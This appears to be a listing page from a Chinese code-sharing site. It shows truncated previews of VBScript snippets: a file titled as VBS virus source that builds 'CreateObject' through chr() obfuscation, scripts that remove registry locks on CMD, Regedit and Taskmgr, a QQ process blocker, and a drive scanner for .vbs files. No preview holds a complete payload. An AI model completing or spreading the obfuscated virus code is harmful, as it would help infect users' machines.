VB 软件列表

vbs病毒源文件
VB

vbs病毒源文件

2020-02-16 标签:vbs,病毒,源文件,rem,rhl,dim,fs,r,ss,w,reg,regpath,dvbs,ddd,set,chr,67,reate,obj,101

rem vbs.rhl Dim fs,r,ss,w,reg,regpath,dvbs ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40)

vbs循环产生的参数的传递问题
VB

vbs循环产生的参数的传递问题

2020-02-16 标签:vbs,循环,产生,参数,传递,问题,set,objfso,scripting,objfile,d,txt,wshshell,wscript,shell

Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.OpenTextFile("d:\1\0.txt", 1) set WshShell = WScript.CreateObject("WScript

自己写的一个定时关机或重启的vbs脚本
VB

自己写的一个定时关机或重启的vbs脚本

2020-02-16 标签:写的,定时,关机,重启,vbs,脚本,dim,actionid,注销,actiontime,2006,13,42,30,时间,function

dim ActionID ActionID = 1'0注销,1关机,2重启, ActionTime = "2006-1-4 13:42:30"'关机或重启时间 function ShutDown()dim objShellSet objShell = WScript.CreateObject("Ws

用vbs实现解除注册表CMD、Regedit、Taskmgr限制的脚本代码
VB

用vbs实现解除注册表CMD、Regedit、Taskmgr限制的脚本代码

2020-02-16 标签:vbs,实现,解除,注册表,cmd,regedit,taskmgr,限制,脚本,代码,error,resume,next,set,wshshell,wscript,shell,regdelete,hkcu

On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") With WScript.CreateObject("WScript.Shell") .RegDelete"HKCU\Software\Microsoft\

用vbs实现注册表开关的脚本
VB

用vbs实现注册表开关的脚本

2020-02-16 标签:vbs,实现,注册表,开关,脚本,dim,wshshell,r,m,v,t,g,i,error,resume,next,set,wscript,shell

Dim WSHShell,r,M,v,t,g,i On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") v="HKCU\Software\Microsoft\Windows\CurrentVersion\ Po

禁止QQ上网的vbs脚本代码
VB

禁止QQ上网的vbs脚本代码

2020-02-16 标签:禁止,qq,上网,vbs,脚本,代码,dim,bag,pipe,honker,good,set,getobject,winmgmts,root,cimv,execquery,select,win

dim bag,pipe,honker,good do good="." set bag=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=bag.execquery("select * from win32_process w

用VBS来代替BAT或CMD文件进行命令
VB

用VBS来代替BAT或CMD文件进行命令

2020-02-16 标签:vbs,代替,bat,cmd,文件,进行,命令,自动,导入,注册表,检测,error,resume,next,dim,msg,fso,shell,set

自动导入注册表的,带检测: On Error Resume Next dim msg,fso,shell Set fso = Wscript.createobject("scripting.filesystemobject") set wshshell = wscript.CreateObject(

用vbs操作注册表实例代码
VB

用vbs操作注册表实例代码

2020-02-16 标签:vbs,操作,注册表,实例,代码,打开,关闭,cmd,dim,wshshell,r,m,v,t,g,i,error,resume,next,set

打开或关闭CMD:Dim WSHShell, r, m, v, t, g Dim i On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") v="HKEY_CURRENT_USER\Software\Polic

一个用vbs查找硬盘所有分区中的指定程序的代码
VB

一个用vbs查找硬盘所有分区中的指定程序的代码

2020-02-16 标签:vbs,查找,硬盘,分区,指定,程序,代码,error,resume,next,忽略,错误,dim,filename,声明,变量,re,set,new,regexp

On Error Resume Next '忽略所有错误 Dim filename '声明变量 Dim re Set re=New RegExp '建立正则表达式对象实例 re.Pattern="^([a-z]|[A-Z])+\:\\\w+\.vbs$" If re.Test(WScript.Scr

VBS实现DOC转为文本文档的代码
VB

VBS实现DOC转为文本文档的代码

2020-02-16 标签:vbs,实现,doc,转为,文本文档,代码,打开,记事本,输入,如下,error,resume,next,set,args,wscript,arguments,arg,w

打开记事本输入:实现代码如下:ON ERROR RESUME NEXTset args=wscript.argumentsarg=args(0)set w=createobject("word.application")set fso=createobject("scripting.filesyst